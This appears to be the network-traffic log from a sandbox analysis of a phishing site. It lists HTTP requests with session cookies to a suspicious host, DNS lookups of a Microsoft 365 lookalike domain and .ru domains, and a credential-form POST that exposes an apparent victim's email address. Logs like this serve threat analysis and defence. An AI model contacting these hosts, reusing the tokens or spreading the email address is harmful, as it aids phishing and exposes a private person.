Source: global traffic	HTTP traffic detected: GET /rsSQsIIfCrYEifeBNcpBzLABYrvLCJijmOyMuRzcmBuXcSEmmXGLFRryCjlOocd200 HTTP/1.1Host: ajd.asfhkkiv.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ajd.asfhkkiv.es/fwoojzqdfniscafbnmJOFZKIGRQB2ZTKLYM7LBOVD?ZFCXAOOVELNULNBGYRFLINNBJWAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImU1UlpHRzlSMXVQVWs4ZTFJMDRMb2c9PSIsInZhbHVlIjoiZjZxbm8zZnhmb1I4M3JueU1qN1FhdEd0dWltTUdRbFI4WTFIZjhlZFhzcVdNMWhhMTJhaU5xUW10WndJc3VIUFRrR2pYVUJERURuVG56NlFIV1lLNUpZOVJqaXZWd0pFeSs4amdHNHhGbHMwYW5HeXNreWJEaUJiSFQ1NHA4N2EiLCJtYWMiOiIzZDNhYmZlOTBhMzUyZmI2Mzg4ZWY3ZDQ4ZTM1NmNkYWQ0NDE5MjY3MmUwMmRmZjA1YzUwYWIyMzI2NmYyNGQ1IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InBtdWlWVjBJdVBNRnVBYUZIYjMwcmc9PSIsInZhbHVlIjoiczQwZVV0Z1MzOFVhUUxnUHJhSzhCM1p4aElRYUEvbVkvWHV3QWpGYlNkMXljTlBFRHVaYWNjMjNrMHk1YUFIYkc4cVVTaTVGbUlOUmcwbGVYSWZKUHRvTSsrREpkSFhORDFmUG9JY0lpM0o4ZG41Y29raVZOaTNqUDFJcXhMRDMiLCJtYWMiOiI5Y2Q5YTZiMDViYWE0ZTMyMTE5ZDM0ZWYxNWIzYWQ1OGY0Mzg3YzcyMzhhYjM0ODYwOGVhMzk1N2FjMWRiMzczIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /wxstNlutVta5Skl6BG6w5HcstI7h8eX2X0gd34122 HTTP/1.1Host: ajd.asfhkkiv.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImU1UlpHRzlSMXVQVWs4ZTFJMDRMb2c9PSIsInZhbHVlIjoiZjZxbm8zZnhmb1I4M3JueU1qN1FhdEd0dWltTUdRbFI4WTFIZjhlZFhzcVdNMWhhMTJhaU5xUW10WndJc3VIUFRrR2pYVUJERURuVG56NlFIV1lLNUpZOVJqaXZWd0pFeSs4amdHNHhGbHMwYW5HeXNreWJEaUJiSFQ1NHA4N2EiLCJtYWMiOiIzZDNhYmZlOTBhMzUyZmI2Mzg4ZWY3ZDQ4ZTM1NmNkYWQ0NDE5MjY3MmUwMmRmZjA1YzUwYWIyMzI2NmYyNGQ1IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InBtdWlWVjBJdVBNRnVBYUZIYjMwcmc9PSIsInZhbHVlIjoiczQwZVV0Z1MzOFVhUUxnUHJhSzhCM1p4aElRYUEvbVkvWHV3QWpGYlNkMXljTlBFRHVaYWNjMjNrMHk1YUFIYkc4cVVTaTVGbUlOUmcwbGVYSWZKUHRvTSsrREpkSFhORDFmUG9JY0lpM0o4ZG41Y29raVZOaTNqUDFJcXhMRDMiLCJtYWMiOiI5Y2Q5YTZiMDViYWE0ZTMyMTE5ZDM0ZWYxNWIzYWQ1OGY0Mzg3YzcyMzhhYjM0ODYwOGVhMzk1N2FjMWRiMzczIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ijMCLuEmkilV2F4BWG1tonoGRgDklitbCSjKL83Act0E4BTC12210 HTTP/1.1Host: ajd.asfhkkiv.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ajd.asfhkkiv.es/fwoojzqdfniscafbnmJOFZKIGRQB2ZTKLYM7LBOVD?ZFCXAOOVELNULNBGYRFLINNBJWAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImU1UlpHRzlSMXVQVWs4ZTFJMDRMb2c9PSIsInZhbHVlIjoiZjZxbm8zZnhmb1I4M3JueU1qN1FhdEd0dWltTUdRbFI4WTFIZjhlZFhzcVdNMWhhMTJhaU5xUW10WndJc3VIUFRrR2pYVUJERURuVG56NlFIV1lLNUpZOVJqaXZWd0pFeSs4amdHNHhGbHMwYW5HeXNreWJEaUJiSFQ1NHA4N2EiLCJtYWMiOiIzZDNhYmZlOTBhMzUyZmI2Mzg4ZWY3ZDQ4ZTM1NmNkYWQ0NDE5MjY3MmUwMmRmZjA1YzUwYWIyMzI2NmYyNGQ1IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InBtdWlWVjBJdVBNRnVBYUZIYjMwcmc9PSIsInZhbHVlIjoiczQwZVV0Z1MzOFVhUUxnUHJhSzhCM1p4aElRYUEvbVkvWHV3QWpGYlNkMXljTlBFRHVaYWNjMjNrMHk1YUFIYkc4cVVTaTVGbUlOUmcwbGVYSWZKUHRvTSsrREpkSFhORDFmUG9JY0lpM0o4ZG41Y29raVZOaTNqUDFJcXhMRDMiLCJtYWMiOiI5Y2Q5YTZiMDViYWE0ZTMyMTE5ZDM0ZWYxNWIzYWQ1OGY0Mzg3YzcyMzhhYjM0ODYwOGVhMzk1N2FjMWRiMzczIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /qrVikdnXpMqxhcRRzef70c00Scvin2fU83J367138 HTTP/1.1Host: ajd.asfhkkiv.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImU1UlpHRzlSMXVQVWs4ZTFJMDRMb2c9PSIsInZhbHVlIjoiZjZxbm8zZnhmb1I4M3JueU1qN1FhdEd0dWltTUdRbFI4WTFIZjhlZFhzcVdNMWhhMTJhaU5xUW10WndJc3VIUFRrR2pYVUJERURuVG56NlFIV1lLNUpZOVJqaXZWd0pFeSs4amdHNHhGbHMwYW5HeXNreWJEaUJiSFQ1NHA4N2EiLCJtYWMiOiIzZDNhYmZlOTBhMzUyZmI2Mzg4ZWY3ZDQ4ZTM1NmNkYWQ0NDE5MjY3MmUwMmRmZjA1YzUwYWIyMzI2NmYyNGQ1IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InBtdWlWVjBJdVBNRnVBYUZIYjMwcmc9PSIsInZhbHVlIjoiczQwZVV0Z1MzOFVhUUxnUHJhSzhCM1p4aElRYUEvbVkvWHV3QWpGYlNkMXljTlBFRHVaYWNjMjNrMHk1YUFIYkc4cVVTaTVGbUlOUmcwbGVYSWZKUHRvTSsrREpkSFhORDFmUG9JY0lpM0o4ZG41Y29raVZOaTNqUDFJcXhMRDMiLCJtYWMiOiI5Y2Q5YTZiMDViYWE0ZTMyMTE5ZDM0ZWYxNWIzYWQ1OGY0Mzg3YzcyMzhhYjM0ODYwOGVhMzk1N2FjMWRiMzczIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /op5JuHAKDvhlwnwM6BSjw6gSI6r1kod0GlqMmPDPz6bJCyX42uvmYnbAziH18lbuDBRk8snBmDWLpnhNXGef234 HTTP/1.1Host: ajd.asfhkkiv.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ajd.asfhkkiv.es/fwoojzqdfniscafbnmJOFZKIGRQB2ZTKLYM7LBOVD?ZFCXAOOVELNULNBGYRFLINNBJWAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImU1UlpHRzlSMXVQVWs4ZTFJMDRMb2c9PSIsInZhbHVlIjoiZjZxbm8zZnhmb1I4M3JueU1qN1FhdEd0dWltTUdRbFI4WTFIZjhlZFhzcVdNMWhhMTJhaU5xUW10WndJc3VIUFRrR2pYVUJERURuVG56NlFIV1lLNUpZOVJqaXZWd0pFeSs4amdHNHhGbHMwYW5HeXNreWJEaUJiSFQ1NHA4N2EiLCJtYWMiOiIzZDNhYmZlOTBhMzUyZmI2Mzg4ZWY3ZDQ4ZTM1NmNkYWQ0NDE5MjY3MmUwMmRmZjA1YzUwYWIyMzI2NmYyNGQ1IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InBtdWlWVjBJdVBNRnVBYUZIYjMwcmc9PSIsInZhbHVlIjoiczQwZVV0Z1MzOFVhUUxnUHJhSzhCM1p4aElRYUEvbVkvWHV3QWpGYlNkMXljTlBFRHVaYWNjMjNrMHk1YUFIYkc4cVVTaTVGbUlOUmcwbGVYSWZKUHRvTSsrREpkSFhORDFmUG9JY0lpM0o4ZG41Y29raVZOaTNqUDFJcXhMRDMiLCJtYWMiOiI5Y2Q5YTZiMDViYWE0ZTMyMTE5ZDM0ZWYxNWIzYWQ1OGY0Mzg3YzcyMzhhYjM0ODYwOGVhMzk1N2FjMWRiMzczIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /fs/bcg/4/gfsh9pi7jcWKJKMAs1t7 HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://ajd.asfhkkiv.es/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /stTtK5m3BTn6LdTSu1iDOxWjveppIdxCKKfDqacwYYS9x67zNLnGsUT2ZQlZnmIFFntjmA1GshsSkxxaef260 HTTP/1.1Host: ajd.asfhkkiv.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ajd.asfhkkiv.es/fwoojzqdfniscafbnmJOFZKIGRQB2ZTKLYM7LBOVD?ZFCXAOOVELNULNBGYRFLINNBJWAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImU1UlpHRzlSMXVQVWs4ZTFJMDRMb2c9PSIsInZhbHVlIjoiZjZxbm8zZnhmb1I4M3JueU1qN1FhdEd0dWltTUdRbFI4WTFIZjhlZFhzcVdNMWhhMTJhaU5xUW10WndJc3VIUFRrR2pYVUJERURuVG56NlFIV1lLNUpZOVJqaXZWd0pFeSs4amdHNHhGbHMwYW5HeXNreWJEaUJiSFQ1NHA4N2EiLCJtYWMiOiIzZDNhYmZlOTBhMzUyZmI2Mzg4ZWY3ZDQ4ZTM1NmNkYWQ0NDE5MjY3MmUwMmRmZjA1YzUwYWIyMzI2NmYyNGQ1IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InBtdWlWVjBJdVBNRnVBYUZIYjMwcmc9PSIsInZhbHVlIjoiczQwZVV0Z1MzOFVhUUxnUHJhSzhCM1p4aElRYUEvbVkvWHV3QWpGYlNkMXljTlBFRHVaYWNjMjNrMHk1YUFIYkc4cVVTaTVGbUlOUmcwbGVYSWZKUHRvTSsrREpkSFhORDFmUG9JY0lpM0o4ZG41Y29raVZOaTNqUDFJcXhMRDMiLCJtYWMiOiI5Y2Q5YTZiMDViYWE0ZTMyMTE5ZDM0ZWYxNWIzYWQ1OGY0Mzg3YzcyMzhhYjM0ODYwOGVhMzk1N2FjMWRiMzczIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /yztYRSgbZwoFpIqsLsfaAAaMTEHOAUUa35gDNmnWsJOYdNceg3Q1Y76AWieMjJQI90180 HTTP/1.1Host: ajd.asfhkkiv.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImU1UlpHRzlSMXVQVWs4ZTFJMDRMb2c9PSIsInZhbHVlIjoiZjZxbm8zZnhmb1I4M3JueU1qN1FhdEd0dWltTUdRbFI4WTFIZjhlZFhzcVdNMWhhMTJhaU5xUW10WndJc3VIUFRrR2pYVUJERURuVG56NlFIV1lLNUpZOVJqaXZWd0pFeSs4amdHNHhGbHMwYW5HeXNreWJEaUJiSFQ1NHA4N2EiLCJtYWMiOiIzZDNhYmZlOTBhMzUyZmI2Mzg4ZWY3ZDQ4ZTM1NmNkYWQ0NDE5MjY3MmUwMmRmZjA1YzUwYWIyMzI2NmYyNGQ1IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InBtdWlWVjBJdVBNRnVBYUZIYjMwcmc9PSIsInZhbHVlIjoiczQwZVV0Z1MzOFVhUUxnUHJhSzhCM1p4aElRYUEvbVkvWHV3QWpGYlNkMXljTlBFRHVaYWNjMjNrMHk1YUFIYkc4cVVTaTVGbUlOUmcwbGVYSWZKUHRvTSsrREpkSFhORDFmUG9JY0lpM0o4ZG41Y29raVZOaTNqUDFJcXhMRDMiLCJtYWMiOiI5Y2Q5YTZiMDViYWE0ZTMyMTE5ZDM0ZWYxNWIzYWQ1OGY0Mzg3YzcyMzhhYjM0ODYwOGVhMzk1N2FjMWRiMzczIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /op5JuHAKDvhlwnwM6BSjw6gSI6r1kod0GlqMmPDPz6bJCyX42uvmYnbAziH18lbuDBRk8snBmDWLpnhNXGef234 HTTP/1.1Host: ajd.asfhkkiv.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImU1UlpHRzlSMXVQVWs4ZTFJMDRMb2c9PSIsInZhbHVlIjoiZjZxbm8zZnhmb1I4M3JueU1qN1FhdEd0dWltTUdRbFI4WTFIZjhlZFhzcVdNMWhhMTJhaU5xUW10WndJc3VIUFRrR2pYVUJERURuVG56NlFIV1lLNUpZOVJqaXZWd0pFeSs4amdHNHhGbHMwYW5HeXNreWJEaUJiSFQ1NHA4N2EiLCJtYWMiOiIzZDNhYmZlOTBhMzUyZmI2Mzg4ZWY3ZDQ4ZTM1NmNkYWQ0NDE5MjY3MmUwMmRmZjA1YzUwYWIyMzI2NmYyNGQ1IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InBtdWlWVjBJdVBNRnVBYUZIYjMwcmc9PSIsInZhbHVlIjoiczQwZVV0Z1MzOFVhUUxnUHJhSzhCM1p4aElRYUEvbVkvWHV3QWpGYlNkMXljTlBFRHVaYWNjMjNrMHk1YUFIYkc4cVVTaTVGbUlOUmcwbGVYSWZKUHRvTSsrREpkSFhORDFmUG9JY0lpM0o4ZG41Y29raVZOaTNqUDFJcXhMRDMiLCJtYWMiOiI5Y2Q5YTZiMDViYWE0ZTMyMTE5ZDM0ZWYxNWIzYWQ1OGY0Mzg3YzcyMzhhYjM0ODYwOGVhMzk1N2FjMWRiMzczIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ijMCLuEmkilV2F4BWG1tonoGRgDklitbCSjKL83Act0E4BTC12210 HTTP/1.1Host: ajd.asfhkkiv.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImU1UlpHRzlSMXVQVWs4ZTFJMDRMb2c9PSIsInZhbHVlIjoiZjZxbm8zZnhmb1I4M3JueU1qN1FhdEd0dWltTUdRbFI4WTFIZjhlZFhzcVdNMWhhMTJhaU5xUW10WndJc3VIUFRrR2pYVUJERURuVG56NlFIV1lLNUpZOVJqaXZWd0pFeSs4amdHNHhGbHMwYW5HeXNreWJEaUJiSFQ1NHA4N2EiLCJtYWMiOiIzZDNhYmZlOTBhMzUyZmI2Mzg4ZWY3ZDQ4ZTM1NmNkYWQ0NDE5MjY3MmUwMmRmZjA1YzUwYWIyMzI2NmYyNGQ1IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InBtdWlWVjBJdVBNRnVBYUZIYjMwcmc9PSIsInZhbHVlIjoiczQwZVV0Z1MzOFVhUUxnUHJhSzhCM1p4aElRYUEvbVkvWHV3QWpGYlNkMXljTlBFRHVaYWNjMjNrMHk1YUFIYkc4cVVTaTVGbUlOUmcwbGVYSWZKUHRvTSsrREpkSFhORDFmUG9JY0lpM0o4ZG41Y29raVZOaTNqUDFJcXhMRDMiLCJtYWMiOiI5Y2Q5YTZiMDViYWE0ZTMyMTE5ZDM0ZWYxNWIzYWQ1OGY0Mzg3YzcyMzhhYjM0ODYwOGVhMzk1N2FjMWRiMzczIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /rsSQsIIfCrYEifeBNcpBzLABYrvLCJijmOyMuRzcmBuXcSEmmXGLFRryCjlOocd200 HTTP/1.1Host: ajd.asfhkkiv.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImU1UlpHRzlSMXVQVWs4ZTFJMDRMb2c9PSIsInZhbHVlIjoiZjZxbm8zZnhmb1I4M3JueU1qN1FhdEd0dWltTUdRbFI4WTFIZjhlZFhzcVdNMWhhMTJhaU5xUW10WndJc3VIUFRrR2pYVUJERURuVG56NlFIV1lLNUpZOVJqaXZWd0pFeSs4amdHNHhGbHMwYW5HeXNreWJEaUJiSFQ1NHA4N2EiLCJtYWMiOiIzZDNhYmZlOTBhMzUyZmI2Mzg4ZWY3ZDQ4ZTM1NmNkYWQ0NDE5MjY3MmUwMmRmZjA1YzUwYWIyMzI2NmYyNGQ1IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InBtdWlWVjBJdVBNRnVBYUZIYjMwcmc9PSIsInZhbHVlIjoiczQwZVV0Z1MzOFVhUUxnUHJhSzhCM1p4aElRYUEvbVkvWHV3QWpGYlNkMXljTlBFRHVaYWNjMjNrMHk1YUFIYkc4cVVTaTVGbUlOUmcwbGVYSWZKUHRvTSsrREpkSFhORDFmUG9JY0lpM0o4ZG41Y29raVZOaTNqUDFJcXhMRDMiLCJtYWMiOiI5Y2Q5YTZiMDViYWE0ZTMyMTE5ZDM0ZWYxNWIzYWQ1OGY0Mzg3YzcyMzhhYjM0ODYwOGVhMzk1N2FjMWRiMzczIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /fs/bcg/4/gfsh9pi7jcWKJKMAs1t7 HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /stTtK5m3BTn6LdTSu1iDOxWjveppIdxCKKfDqacwYYS9x67zNLnGsUT2ZQlZnmIFFntjmA1GshsSkxxaef260 HTTP/1.1Host: ajd.asfhkkiv.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImU1UlpHRzlSMXVQVWs4ZTFJMDRMb2c9PSIsInZhbHVlIjoiZjZxbm8zZnhmb1I4M3JueU1qN1FhdEd0dWltTUdRbFI4WTFIZjhlZFhzcVdNMWhhMTJhaU5xUW10WndJc3VIUFRrR2pYVUJERURuVG56NlFIV1lLNUpZOVJqaXZWd0pFeSs4amdHNHhGbHMwYW5HeXNreWJEaUJiSFQ1NHA4N2EiLCJtYWMiOiIzZDNhYmZlOTBhMzUyZmI2Mzg4ZWY3ZDQ4ZTM1NmNkYWQ0NDE5MjY3MmUwMmRmZjA1YzUwYWIyMzI2NmYyNGQ1IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InBtdWlWVjBJdVBNRnVBYUZIYjMwcmc9PSIsInZhbHVlIjoiczQwZVV0Z1MzOFVhUUxnUHJhSzhCM1p4aElRYUEvbVkvWHV3QWpGYlNkMXljTlBFRHVaYWNjMjNrMHk1YUFIYkc4cVVTaTVGbUlOUmcwbGVYSWZKUHRvTSsrREpkSFhORDFmUG9JY0lpM0o4ZG41Y29raVZOaTNqUDFJcXhMRDMiLCJtYWMiOiI5Y2Q5YTZiMDViYWE0ZTMyMTE5ZDM0ZWYxNWIzYWQ1OGY0Mzg3YzcyMzhhYjM0ODYwOGVhMzk1N2FjMWRiMzczIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /wbbv240NdvXXNuWaT1NUj0Mmxf4u4UYhgTFyPg0IgY0GZuLvBx2r7Gtb HTTP/1.1Host: ajd.asfhkkiv.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IklXRWNGYklUNFBJOGtscldwNUcrYkE9PSIsInZhbHVlIjoiRjFWWkEzUjdkTjZ5UHFzOU1EalRhQXV2RlNlMGFyeHYzL0VMVnludUFxamdrRURZT0dEa1V2WXdISksvTFhHL01icWFkcHZxYkFCUWNteHNhTnNxTHBFSWN0UXhkWHRPK25YVVk4ZUJ6S2haWjVhWnVSMDBaSC84cElwNEUzQ0kiLCJtYWMiOiIyNjRiMzBlMmUwMzYzM2Q3Y2Y5ZTc0N2E1YzBkZjI1ZDkzMjA0MTBmZjVmMjFmZmZkMDNjZWQ2MDkwODJlMjAzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InRCWVI3NHRNeVYzNEY4SVg5WWVjT1E9PSIsInZhbHVlIjoiMFFrTU9HRy9JekhZOWFySE12NjRZVjBXbk5mNzJqYXFHM2crbUd4Wis2RXpOL0J1Y29WU0ZBeDlUQmprN3pyMDRlWUdMNXJlRFozdEllOVJRWGVzVUVEa2liVDlubWVHVE9rNWpMc3dVS2hUd213ZEFjdDJISncxWFQrYUlFZnMiLCJtYWMiOiI4MjY4NjM4MjEyZDI3ZWZiMTEyNWZhOWFiZWU0MTViMzRmNTUyN2M1ZDBkYWY2ZmUwYTJhZmFhYmYyMTEzNTUyIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /r/gsr1.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: /If-Modified-Since: Tue, 07 Jan 2025 07:28:00 GMTUser-Agent: Microsoft-CryptoAPI/10.0Host: c.pki.goog
Source: global traffic	HTTP traffic detected: GET /r/r4.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: /If-Modified-Since: Thu, 25 Jul 2024 14:48:00 GMTUser-Agent: Microsoft-CryptoAPI/10.0Host: c.pki.goog

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: microsoft365online.mdshohelrana.com
Source: global traffic	DNS traffic detected: DNS query: ajd.asfhkkiv.es
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: developers.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: 4728.xqwqkd.ru
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: qyka.qxwhvv.ru
Source: global traffic	DNS traffic detected: DNS query: github.com
Source: global traffic	DNS traffic detected: DNS query: ok4static.oktacdn.com
Source: global traffic	DNS traffic detected: DNS query: objects.githubusercontent.com

Source: unknown

HTTP traffic detected: POST /xuMW5DTCkJsZqbU7j3sP8rvq2sjsivJMcnAwSxyg HTTP/1.1Host: ajd.asfhkkiv.esConnection: keep-aliveContent-Length: 817sec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Content-Type: multipart/form-data; boundary=----WebKitFormBoundarymtIu2zmRx2DaED6Jsec-ch-ua-mobile: ?0Accept: */*Origin: https://ajd.asfhkkiv.esSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ajd.asfhkkiv.es/rIMOdeCtriNV/*mdiaz%40estrellagalicia.esAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjlwOEFtTTJkYkJ0UXg3WkZaeTJ5eHc9PSIsInZhbHVlIjoiZ3FuQi9PRVdZS3FRekYraU5TM0NDSkxYUHkyYm1vUEtlNmtsbHpnT0dyL1Z2QnlzaU9ja1c3OC9xYlYxN0Y1Z1lraWpCdjh3cVhlblVRMis5aktDdExTeERDa3hIUmt6UTg5ZCtJMlV2M2Z5bktVdXl0eHI3MHVTSGNSdGFnUmIiLCJtYWMiOiI5NjE2YTg2YzJmN2JjZTYzZGU3OGMzNjc0MDQyNTQyZTQ5MzIwYTFhYmVjNGI0MDEwYmRjOTYyODAwY2NiMDMzIiwidGFnIjoiIn0%3D; 